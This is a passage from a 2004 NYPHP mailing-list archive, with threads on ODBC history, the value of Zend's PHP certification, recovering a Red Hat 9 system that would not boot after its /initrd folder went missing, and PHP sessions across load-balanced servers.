the ODBC API to implement their own API." And it goes on the name the databases (see above)) Then is says: "Note: There is no ODBC involved when connecting to the above databases." Around 1992 there was a group called the SQL Access Group. They put out something called the SQL Access Group Call Level Interface. It was an interoperability initiative. The basic idea was to have an intersection of the most popular SQL dialects of the day. That way you could have the same code (sort of like embedded universal sql) which would work in the same way but against different databases. The concept included common error codes, common data types, and a common means of getting a connection to the different databases. Sounds a lot like ODBC right? That's because Microsoft took the SAG CLI concept and extended it -- and that's what became ODBC. Microsoft's ODBC Manager hooks up the ODBC version ('ODBC extended') SAG CLI sql to one or more dynamically loaded libraries (dll's or so's depending on the operating system), which are known in ODBC parlance as ODBC drivers. The 'unified odbc' functions are probably (but here I am guessing) a separate implementation of the old SAG CLI specification -- with the same names as the ODBC functions. Anyway, there definitely exist ODBC managers for most of the unix-style operating systems (as well as other more esoteric os's). And yes, there exist ODBC drivers for Oracle -- and from more than one source. But ODBC drivers come in many flavors. There are single tier drivers and multiple tier drivers. Some drivers only support the ODBC core api. Some drivers support the level 1 api -- some say they are conformant with level 2 of the ODBC api. And just when you think you have all the functionality mapped out, you can get hit with performance problems. So if you (still) are seriously considering ODBC, I would advice you to make a prototype (to make sure you have the functionality you want) and hit it with some pretty good volume tests. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From shiflett at php.net Sun Jun 20 00:00:04 2004 From: shiflett at php.net (Chris Shiflett) Date: Sat, 19 Jun 2004 21:00:04 -0700 (PDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <00b901c45593$1b2e9e50$e98d3818@oberon1> Message-ID: <20040620040004.67795.qmail@web52802.mail.yahoo.com> --- Tim Gales wrote: > I would agree with you that is not solely Zend's idea > of certification -- there are indeed many people who have > done a *lot* for PHP who agree there should be some sort of > standard set for being a PHP programmer. I think Daniel is referring to the fact that Zend hired these people as consultants to help create the certification. > But what I am saying is that I find it hard to put > much stock in the value of a certification for a > simple language which can be learned in an afternoon -- > it doesn't make any sense. I would put a considerable amount of money against this. I know a lot of talented programmers, and those who don't know PHP could not pass this certification if given only a 24 hour notice. PHP interoperates with many technologies, so the certification is broader than you might be thinking. > The language is great. I love it. But it is just a tool. And this is just a certification. > I have never seen an accountant's business card > that says: 'Microsoft Excel Certified' This analogy doesn't work very well. When hiring an accountant, I can't imagine anyone caring what tools are used. However, with most technology projects, people do care. Have you seen a job announcement that simply asks for a skilled and experienced Web application developer? I haven't. > Now would you have the web development community > believe that it would be of value to have > something like: 'ZEND Certified in PHP' > (or something to that effect) on *their* > business cards? I wouldn't measure the value of a certification according to whether people would want it on a business card. I think a resume is a more common and appropriate place for this. > Further, you make it sound like anybody who is > anybody in the PHP world is behind this initiative. I think that's a misinterpretation. He is just trying to make it clear that Zend did not create this by themselves. > Some proponents for Perl certification described > the vote at an OSCON meeting as being 100 to 7 > in favor of certification. > > The reality is that half of the people to whom > the vote was put were 'noticeably silent' in that > they abstained from voting. Rather than wasting time trying to predict opinions, Zend is doing something, and people will have a chance to voice their opinions with their wallets. I'm sure their voices will be heard. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From tgales at tgaconnect.com Sun Jun 20 12:26:22 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Sun, 20 Jun 2004 12:26:22 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040620040004.67795.qmail@web52802.mail.yahoo.com> Message-ID: <001901c456e3$53f55b10$e98d3818@oberon1> > --- Tim Gales wrote: > > I would agree with you that is not solely Zend's idea > > of certification -- there are indeed many people who have > > done a *lot* for PHP who agree there should be some sort of > > standard set for being a PHP programmer. > > I think Daniel is referring to the fact that Zend hired these > people as consultants to help create the certification. Yes, I and am agreeing with him there. But I am also widening the scope to include not just the 'these people' > > > But what I am saying is that I find it hard to put > > much stock in the value of a certification for a > > simple language which can be learned in an afternoon -- > > it doesn't make any sense. > > I would put a considerable amount of money against this. I > know a lot of talented programmers, and those who don't know > PHP could not pass this certification if given only a 24 hour > notice. PHP interoperates with many technologies, so the > certification is broader than you might be thinking. I guess I wasn't too clear there -- I was trying to restate the case (from earlier in the thread) that a certification in the language alone would not be of much value. When it comes to talking about the level of expertise and and knowledge required to pass the 'this certification' you (and Daniel) are infinitely more qualified than I am to talk about that -- you helped create the Zend test questions. But I don't believe that I might be thinking that the Zend certification (test) will not be broad in terms of how 'PHP interoperates with many technologies' -- just the reverse, I mentioned that I thought it might take more than 70 or so questions to cover all the areas mention in the '12 chapters' -- again I don't have any real knowledge on that (not knowing what the questions are). And it could very well be, that the questions in their final form will adequately cover what needs to be tested. > > I have never seen an accountant's business card > > that says: 'Microsoft Excel Certified' > > This analogy doesn't work very well. When hiring an > accountant, I can't imagine anyone caring what tools are > used. "Est. No.J. Dist co. catering to Fortune 500 clients seeks talented Staff Acct. Duties: monthly, quarterly & y-end closing. Maint GL, AR, AP, sales track, invent control, reporting & acct recs. Must possess a BA/BS in Acctg w/min 3 yrs exp. Strong analytical & Excel skills a must. Knowl of Great Plains is a + ." Prospective employers most certainly do care what tools their potential employees know how to use -- and they state their concerns in the job requirements. > However, with most technology projects, people do care. > Have you seen a job announcement that simply asks for a > skilled and experienced Web application developer? I haven't. > No, of course not -- they have job requirements too. But the job requirement go something like: " 4 yrs exp Java and knowledge of CGI scripting in a UNIX environment..." > I wouldn't measure the value of a certification according to > whether people would want it on a business card. I think a > resume is a more common and appropriate place for this. > Well I won't get into where's the more appropriate place to put one's certification. However, many, many -- if not all - Microsoft Certified Solution Developers have 'MCSD' prominently displayed on their business cards. (It is one of the motivating factors in becoming certified) -- it is definitely not less common. > > Rather than wasting time trying to predict opinions, Zend is > doing something, and people will have a chance to voice their > opinions with their wallets. I'm sure their voices will be heard. > There I couldn't agree with you more -- time will tell. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From adam at trachtenberg.com Sun Jun 20 14:35:19 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Sun, 20 Jun 2004 14:35:19 -0400 (EDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <001901c456e3$53f55b10$e98d3818@oberon1> References: <001901c456e3$53f55b10$e98d3818@oberon1> Message-ID: On Sun, 20 Jun 2004, Tim Gales wrote: > But I don't believe that I might be thinking that the Zend > certification (test) will not be broad in terms of how 'PHP > interoperates with many technologies' -- just the reverse, I > mentioned that I thought it might take more than 70 or so questions > to cover all the areas mention in the '12 chapters' -- again I don't > have any real knowledge on that (not knowing what the questions > are). And it could very well be, that the questions in their final > form will adequately cover what needs to be tested. I'm neither involved in writing the exam, nor do I plan on taking it, so I've been staying out of this discussion. However, I would say that you don't need to actually have questions on every topic on the test. You just need to threaten to do so, and then people will be forced to study for them. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From shiflett at php.net Sun Jun 20 15:34:31 2004 From: shiflett at php.net (Chris Shiflett) Date: Sun, 20 Jun 2004 12:34:31 -0700 (PDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <001901c456e3$53f55b10$e98d3818@oberon1> Message-ID: <20040620193431.18265.qmail@web52802.mail.yahoo.com> --- Tim Gales wrote: > I guess I wasn't too clear there -- I was trying to restate > the case (from earlier in the thread) that a certification in > the language alone would not be of much value. Well, I guess time will tell. As someone looking for PHP talent right now, I can say that this would at least be somewhat useful to me. Yes, I'm not about to choose candidates based solely upon whether they are certified, but I currently have to spend a lot of my time just to weed out those who are definitely underqualified. I feel pretty confident that someone who is capable of passing this test is worth taking the time to speak with. I think finding good programmers is a very difficult task - at least it is for me. And, I tend to value other qualities more than programming proficiency. The creativity and intelligence of the person are more important than their syntactical knowledge to me. Then there's the important beer test - is this someone you can enjoy having a beer with? Stated differently, personality matters a lot. I feel confident that a friendly, creative, and intelligent person will make a great employee, and I can probably teach them anything they lack. Because of the perspective I take, this certification could take care of the question, "Does this person know PHP well enough to be a candidate?" That's all. > When it comes to talking about the level of expertise and > and knowledge required to pass the 'this certification' you > (and Daniel) are infinitely more qualified than I am to talk > about that -- you helped create the Zend test questions. There is a psychometrician who is responsible for calibrating the test according to the level of expertise required, and I don't really know much about this at all. I'm not even sure if I spelled it correctly. :-) > But I don't believe that I might be thinking that the > Zend certification (test) will not be broad in terms of how > 'PHP interoperates with many technologies' -- just the > reverse, I mentioned that I thought it might take more than > 70 or so questions to cover all the areas mention in the > '12 chapters' -- again I don't have any real knowledge on > that (not knowing what the questions are). And it could very > well be, that the questions in their final form will adequately > cover what needs to be tested. I see what you mean now. After trying to come up with questions, I have found that it's pretty easy to make a question where someone is going to have a hard time choosing the right answer if they don't know several different things. In fact, I found it more challenging to focus questions on only a few things (or one specific area of knowledge). I'm not sure if that even makes sense. > "Est. No.J. Dist co. catering to Fortune 500 clients seeks > talented Staff Acct. Duties: monthly, quarterly & y-end closing. > Maint GL, AR, AP, sales track, invent control, reporting & acct > recs. Must possess a BA/BS in Acctg w/min 3 yrs exp. Strong > analytical & Excel skills a must. Knowl of Great Plains is a + ." Small software company seeks talented Web applications developer. Duties: create Web applications that are secure, robust, and scalable. Must possess a BS in computer science or similar field. Must work well with others and have strong analytical skills. I've never seen a job post like this in my life. My point is that the two industries are very different, and it doesn't make sense to me to be trying to draw parallels. I've seen Web applications developer postings that even specify the text editor to be used to write code. Of course, I would argue that the current approach in the computer industry is very broken (the accountant job post seems much more appropriate), but that's just the way it is. > But the job requirement go something like: " 4 yrs exp > Java and knowledge of CGI scripting in a UNIX environment..." Yes, and this just reiterates my point. I have seen more than my share of job postings that think Java == Web development. What they really want is an experienced Web applications developer, and what they ask for is 4 years of experience in Java. They even did this before Java was 4 years old. > Well I won't get into where's the more appropriate place > to put one's certification. > > However, many, many -- if not all - Microsoft Certified > Solution Developers have 'MCSD' prominently displayed on > their business cards. (It is one of the motivating factors in > becoming certified) -- it is definitely not less common. Well, MCSD is different. In fact, I imagine that MCSD poses the greatest challenge to Zend, because it has devalued the whole idea of certifications. Far too many people think that certifications are absolutely worthless, and the number of clueless MCSDs is a big reason behind this. If I were an MCSD, I can guarantee you that it would be my dirty little secret. There's no way I would devalue my resume by mentioning that. Cisco certifications are much more respected and better illustrate your point, and these also have nice little acronyms to add to your business card. But, these types of certifications require a strong theoretical foundation verified through an extensive series of tests, whereas knowing a programming language only requires a bit of practical knowledge. I think job candidates need to be careful what they "brag" about and where. If you're too proud that you know PHP, it makes people like me wonder whether you have anything else to offer. As you have said, PHP is just a tool. It's sort of like those people who mention knowing Microsoft Office on their resume; I'm sure that's appropriate for some things, but I immediately eliminate them from consideration for any technical position. > There I couldn't agree with you more -- time will tell. Yep, we will see. :-) Thanks for the friendly debate. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From sm11szw02 at sneakemail.com Sun Jun 20 21:36:07 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Sun, 20 Jun 2004 21:36:07 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040620193431.18265.qmail@web52802.mail.yahoo.com> References: <20040620193431.18265.qmail@web52802.mail.yahoo.com> Message-ID: <1174-14759@sneakemail.com> Chris Shiflett shiflett-at-php.net |nyphp 04/2004| wrote: Small software company seeks talented Web applications developer. Duties: create Web applications that are secure, robust, and scalable. Must possess a BS in computer science or similar field. Must work well with others and have strong analytical skills. I've never seen a job post like this in my life. ----------------------------------------------------- And isn't that sad? It is really an ad for a group leader or Director... "Small software company seeks talented Web applications lead developer or Group Manager. Duties: build, motivate, and lead a team of developers to create Web applications that are secure, robust, and scalable. Must possess a BS in computer science or similar field. Must work well with others and have strong analytical skills." That's more like reality in my experience, and matches what most have been saying here. There is likely a place on that team for a PHP expert or two, with or without broad expertise beyond PHP. In fact, if it was my team, there's be one expert PHP guru whose ancillary skills could be underwater basket weaving and French cooking, for all I care. I want him for his knowledge of PHP - I'll use the database guy for the database, the designer for ....... etc etc. In that perfect world, I would welcome a strong PHP certification. From shiflett at php.net Sun Jun 20 22:33:01 2004 From: shiflett at php.net (Chris Shiflett) Date: Sun, 20 Jun 2004 19:33:01 -0700 (PDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <1174-14759@sneakemail.com> Message-ID: <20040621023301.6529.qmail@web52806.mail.yahoo.com> --- inforequest wrote: > Small software company seeks talented Web applications developer. > Duties: create Web applications that are secure, robust, and > scalable. Must possess a BS in computer science or similar field. > Must work well with others and have strong analytical skills. > > I've never seen a job post like this in my life. > ----------------------------------------------------- > > And isn't that sad? Yes. I've never liked the tendency for people to make decisions in areas in which they are clueless, and this is exactly what happens in a lot of large companies (even though there are better alternatives). A business manager will make important decisions about technology when he/she has a more capable staff (hopefully consisting of a technical manager of some sort) that should be making such decisions. I like the idea of everyone doing their own job and doing it well. A technical manager should be the one who does the software design and makes the big-picture decisions regarding technology, not the business manager. A business manager should be making business decisions. Of course, this also has as much (or more) to do with old company versus new company, and new companies have a distinct advantage. If business is considered to be above technology rather than a separate discipline, the technology of the company usually suffers. You end up with unqualified people making decisions, and you also get the "all technical people are the same" mentality, where the only difference between technical personnel is a slight fluctuation in salary. A more modern and savvy company will treat the two distinctly, and technical personnel have multiple tiers according to their purpose. This has a few advantages: 1. The "roof" is higher, which gives you better personnel. The master hackers that you really want to employ aren't going to be satisfied with "graduating" to any sort of business or management position. You need to have higher technical positions. 2. A better division of labor is achieved. You can have technical managers, software engineers, data modeling experts, security officers, disaster recovery experts, network experts, systems administrators, database administrators, and programmers. People can do what they're best at doing, and the sum of the parts is a better development team than you could otherwise achieve. You get people doing what they do best. 3. Motivation is higher. Your technical personnel will respect a master hacker to whom they must report. When you have technical personnel reporting to someone they view as clueless (which is how most of your business staff will be viewed, like it or not), then they're more likely to be dissatisfied at their job, and your productivity and creativity suffer. Anyway, I suppose I've drifted off-topic now, and I could rant about this all day. :-) Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From jonbaer at jonbaer.net Mon Jun 21 12:48:43 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 21 Jun 2004 12:48:43 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... Message-ID: <40D7116B.1010509@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 uggggggggggggg ... redhat hell i think ... i have no idea but my /initrd folder suddenly disappeared and apparently this is taboo on RH9 ... it causes a kernel panic and i could not boot, so i went over to XP and used LTOOLS to simply create this empty directory and now ... all i have left is /proc /dev /tmp am i screwed? (considering my cd-rom cant seem to work), do i have any alternatives? i knew sticking with redhat was bad news ... any advise *extremely* appreciated. - - jon - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA1xFrQdvbi5oMr0cRAmAeAJ91IAuJbyqMqRZwgXLrHvS8at4dyACg8uhi zWJIOboV7XgwMjVV7ChMa84= =mSFH -----END PGP SIGNATURE----- From rolan at omnistep.com Mon Jun 21 13:40:12 2004 From: rolan at omnistep.com (Rolan Yang) Date: Mon, 21 Jun 2004 13:40:12 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... In-Reply-To: <40D7116B.1010509@jonbaer.net> References: <40D7116B.1010509@jonbaer.net> Message-ID: <40D71D7C.8010508@omnistep.com> That sounds pretty bad. Is there anything on the drive/partition that was vital? You can always boot off a floppy or cdrom then mount the linux partition to regain access to your data... after that, I would suggest you back up the data elsewhere. recreate the initrd directory and reboot. If that does't work, then it may be time for a reinstall (which isn't so bad with RedHat as compared to say... Slackware 1.2.13). ~Rolan Jon Baer wrote: > WARNING: The following data has NOT been sanitized, to ensure > that the signature remains intact, if valid. Please > be careful if you open any enclosed attachments. > > uggggggggggggg ... > > redhat hell i think ... i have no idea but my /initrd folder suddenly > disappeared and apparently this is taboo on RH9 ... it causes a kernel > panic and i could not boot, so i went over to XP and used LTOOLS to > simply create this empty directory and now ... all i have left is > > /proc > /dev > /tmp > > am i screwed? (considering my cd-rom cant seem to work), do i have any > alternatives? i knew sticking with redhat was bad news ... any advise > *extremely* appreciated. > > - jon > > -- > > pgp key: http://www.jonbaer.net/jonbaer.asc > fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From tgales at tgaconnect.com Mon Jun 21 13:44:29 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Mon, 21 Jun 2004 13:44:29 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... In-Reply-To: <40D7116B.1010509@jonbaer.net> Message-ID: <003801c457b7$67a1b8a0$e98d3818@oberon1> Jon Baer writes: > redhat hell i think ... i have no idea but my /initrd folder > suddenly disappeared and apparently this is taboo on RH9 ... > it causes a kernel panic and i could not boot, so i went over > to XP and used LTOOLS to simply create this empty directory > and now ... all i have left is > > /proc > /dev > /tmp > > am i screwed? (considering my cd-rom cant seem to work), do > i have any alternatives? i knew sticking with redhat was bad > news ... any advise > *extremely* appreciated. > > Firstly, let me say I am very hesitant to say anything here. But since you said you would like to hear *any* advice.... If I understand your situation, it seems that the file system is still intact but you have managed to clobber all the device drivers (or at least the CD driver) If you could boot from a floppy disk, it might turn out that it would put back some device drivers. Once you have sort of manually bootstrapped your system up, you could try and take it from there ... T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Mon Jun 21 13:31:34 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 21 Jun 2004 13:31:34 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... In-Reply-To: <003801c457b7$67a1b8a0$e98d3818@oberon1> References: <003801c457b7$67a1b8a0$e98d3818@oberon1> Message-ID: <40D71B76.8050100@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ive used "LTOOLS" before to get myself out of a booting jam (I know writing to FAT32 can be rough), but this time it seems to have removed folders (usr,opt,var,etc,etc) ... I just dont get what an empty folder would do considering it was not symlinkd to begin with ... (its aparently a RedHat only thing, so Im going to try posted there) ... thanks for recommendations. - - Jon | If you could boot from a floppy disk, | it might turn out that it would | put back some device drivers. | - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Cygwin) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA1xt1Qdvbi5oMr0cRAvI3AKCPFNVqwGt56/9cnAQBePfW7I1RSwCg93Nx ViRfS19/VswRSgZaO42SBL0= =jqtp -----END PGP SIGNATURE----- From leam at reuel.net Mon Jun 21 14:10:26 2004 From: leam at reuel.net (leam) Date: Mon, 21 Jun 2004 13:10:26 -0500 Subject: [nycphp-talk] [ot] linux expertise sought ... Message-ID: Well, any time you use a MS thing to fix another OS, what can you expect? :( I think one issue will be your disk layout. If MS whacked that you've got problems. If you can boot from a diskette or cdrom and see if "fdisk /dev/hda" (or whatever your primary HD is) looks normal, then "write" the label again. I'd try that, and if it works,while cd is still in see if you can create the missing filesystem and copy whatever is in the cd over there. You might look for a spare HD and install there and then fiddle with moving/copying things around that way. You may be able to do an "upgrade" type install and hopefully save some files. You still have options, but it might not be easy... ciao! leam > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > uggggggggggggg ... > > redhat hell i think ... i have no idea but my /initrd folder suddenly > disappeared and apparently this is taboo on RH9 ... it causes a kernel > panic and i could not boot, so i went over to XP and used LTOOLS to > simply create this empty directory and now ... all i have left is > > /proc > /dev > /tmp > > am i screwed? (considering my cd-rom cant seem to work), do i have any > alternatives? i knew sticking with redhat was bad news ... any advise > *extremely* appreciated. > > - - jon > > - -- > > pgp key: http://www.jonbaer.net/jonbaer.asc > fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (Cygwin) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFA1xFrQdvbi5oMr0cRAmAeAJ91IAuJbyqMqRZwgXLrHvS8at4dyACg8uhi > zWJIOboV7XgwMjVV7ChMa84= > =mSFH > -----END PGP SIGNATURE----- > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > -- From sm11szw02 at sneakemail.com Mon Jun 21 14:14:30 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Mon, 21 Jun 2004 14:14:30 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... In-Reply-To: <40D7116B.1010509@jonbaer.net> References: <40D7116B.1010509@jonbaer.net> Message-ID: <11287-31177@sneakemail.com> I great oppty for a Live CD. I have found Gentoo does a great job detecting hardware (as does Knoppix). Boot Gentoo from a CD and then mount your hard drive and access your files. If you are sure it's just a drivers issue (I am not, but I am not expert by any means) you can check Gentoo's proc/sys etc and get great clues (enough clues?) to rebuild your redhat to bootable/recoverable. Jon Baer jonbaer-at-jonbaer.net |nyphp 04/2004| wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > uggggggggggggg ... > > redhat hell i think ... i have no idea but my /initrd folder suddenly > disappeared and apparently this is taboo on RH9 ... it causes a kernel > panic and i could not boot, so i went over to XP and used LTOOLS to > simply create this empty directory and now ... all i have left is > > /proc > /dev > /tmp > > am i screwed? (considering my cd-rom cant seem to work), do i have any > alternatives? i knew sticking with redhat was bad news ... any advise > *extremely* appreciated. > > - - jon > > - -- > > pgp key: http://www.jonbaer.net/jonbaer.asc > fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (Cygwin) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFA1xFrQdvbi5oMr0cRAmAeAJ91IAuJbyqMqRZwgXLrHvS8at4dyACg8uhi > zWJIOboV7XgwMjVV7ChMa84= > =mSFH > -----END PGP SIGNATURE----- > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From mmclar at drexel.edu Mon Jun 21 14:21:41 2004 From: mmclar at drexel.edu (Michael R. McLarnon) Date: Mon, 21 Jun 2004 14:21:41 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... In-Reply-To: <40D7116B.1010509@jonbaer.net> References: <40D7116B.1010509@jonbaer.net> Message-ID: <40D72735.3090807@drexel.edu> Jon You might try out one of the bootable CD distros (notably Knoppix, but there are others). They have some great tools that you can use to work on your system 'off-line', mount/unmount the hard drives, etc., because the whole thing runs from a CD. Michael Jon Baer wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > uggggggggggggg ... > > redhat hell i think ... i have no idea but my /initrd folder suddenly > disappeared and apparently this is taboo on RH9 ... it causes a kernel > panic and i could not boot, so i went over to XP and used LTOOLS to > simply create this empty directory and now ... all i have left is > > /proc > /dev > /tmp > > am i screwed? (considering my cd-rom cant seem to work), do i have any > alternatives? i knew sticking with redhat was bad news ... any advise > *extremely* appreciated. > > - - jon > > - -- > > pgp key: http://www.jonbaer.net/jonbaer.asc > fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (Cygwin) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFA1xFrQdvbi5oMr0cRAmAeAJ91IAuJbyqMqRZwgXLrHvS8at4dyACg8uhi > zWJIOboV7XgwMjVV7ChMa84= > =mSFH > -----END PGP SIGNATURE----- > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From jonbaer at jonbaer.net Mon Jun 21 13:58:55 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 21 Jun 2004 13:58:55 -0400 Subject: [nycphp-talk] Re: [nylug-talk] [ot] linux expertise sought ... In-Reply-To: <20040621175615.GY2714@lenin.net> References: <40D71228.6090908@jonbaer.net> <200406211319.03785.sunny-ml@opencurve.org> <20040621172203.GX2714@lenin.net> <200406211336.07109.sunny-ml@opencurve.org> <20040621175615.GY2714@lenin.net> Message-ID: <20040621175855.GA1719@jonbaer.net> Well *almost* bit the dust there ... I ended up temporarily renaming lost+found to initrd (using LTOOLS) and got everything back up again ... I had began recently to read on how the distros are setup differently from each other + never came across it (under /boot are all the initrd's for each kernel)... Hopefully this tip helps out another poor soul dumb enough to delete an empty RedHat /initrd folder :-) Thank you all for quick responses. - Jon -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jonbaer at jonbaer.net Mon Jun 21 14:06:22 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 21 Jun 2004 14:06:22 -0400 Subject: [nycphp-talk] [ot] linux expertise sought ... In-Reply-To: <40D72735.3090807@drexel.edu> References: <40D7116B.1010509@jonbaer.net> <40D72735.3090807@drexel.edu> Message-ID: <20040621180622.GA1870@jonbaer.net> Yes Im sure thats what they are made for ... (getting newbies out of serious trouble :-) My favorite bootable is knoppix-std which I would have ended up using (anything without the bloat + included fluxbox is a+ for me) ... there are so many to choose from nowadays ... did anyone end up writing an ISO for PHP demos yet? On Mon, Jun 21, 2004 at 02:21:41PM -0400, Michael R. McLarnon wrote: > Jon > > You might try out one of the bootable CD distros (notably Knoppix, but > there are others). They have some great tools that you can use to work > on your system 'off-line', mount/unmount the hard drives, etc., because > the whole thing runs from a CD. > -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From chendry at nyc.rr.com Mon Jun 21 14:30:20 2004 From: chendry at nyc.rr.com (Christopher Hendry) Date: Mon, 21 Jun 2004 14:30:20 -0400 Subject: [nycphp-talk] RE: sessionID and load balancer In-Reply-To: <20040620193431.18265.qmail@web52802.mail.yahoo.com> Message-ID: <200406211830.i5LIUc22004634@ms-smtp-03.rdc-nyc.rr.com> Anyone have any experience with sessionids over load balancer? I've got a situation where I've got three servers load balanced and the PHP session is being written/read from the database. I just want to be sure PHP has no issues with hitting a different server in that situation - although the load balancer keeps track of IPs a redirects to the same server, in cases of AOL and others the user is likely going to hit another server. Could there be any issues? Thanks, Chris From shiflett at php.net Mon Jun 21 14:41:34 2004 From: shiflett at php.net (Chris Shiflett) Date: Mon, 21 Jun 2004 11:41:34 -0700 (PDT) Subject: [nycphp-talk] RE: sessionID and load balancer In-Reply-To: <200406211830.i5LIUc22004634@ms-smtp-03.rdc-nyc.rr.com> Message-ID: <20040621184134.93128.qmail@web52803.mail.yahoo.com> --- Christopher Hendry wrote: > Anyone have any experience with sessionids over load balancer? Yep. :-) > I've got a situation where I've got three servers load balanced and > the PHP session is being written/read from the database. > > I just want to be sure PHP has no issues with hitting a different > server in that situation Nope, that should work just fine. > although the load balancer keeps track of IPs a redirects to the > same server, in cases of AOL and others the user is likely going > to hit another server. This (server affinity) isn't necessary, so unless you need it for something else, I wouldn't bother. Your load balancer can do its job better if you don't restrict its ability to make a decision. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ >From hans not junk at nyphp.com Mon Jun 21 14:54:34 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 92085A8633 for ; Mon, 21 Jun 2004 14:54:34 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 21 Jun 2004 11:46:43 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: [nycphp-talk] Re: [nylug-talk] [ot] linux expertise sought ... Content-Transfer-Encoding: quoted-printable Date: Mon, 21 Jun 2004 11:54:32 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702AE9FE8 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Re: [nylug-talk] [ot] linux expertise sought ... Thread-Index: AcRXvW078yy7Kj8/RGyLzGhledkVDwAA5xDw From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 21 Jun 2004 18:46:43.0544 (UTC) FILETIME=[18D92D80:01C457C0] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Jun 2004 18:54:35 -0000 > Hopefully this tip helps out another poor soul dumb enough to delete an=20 > 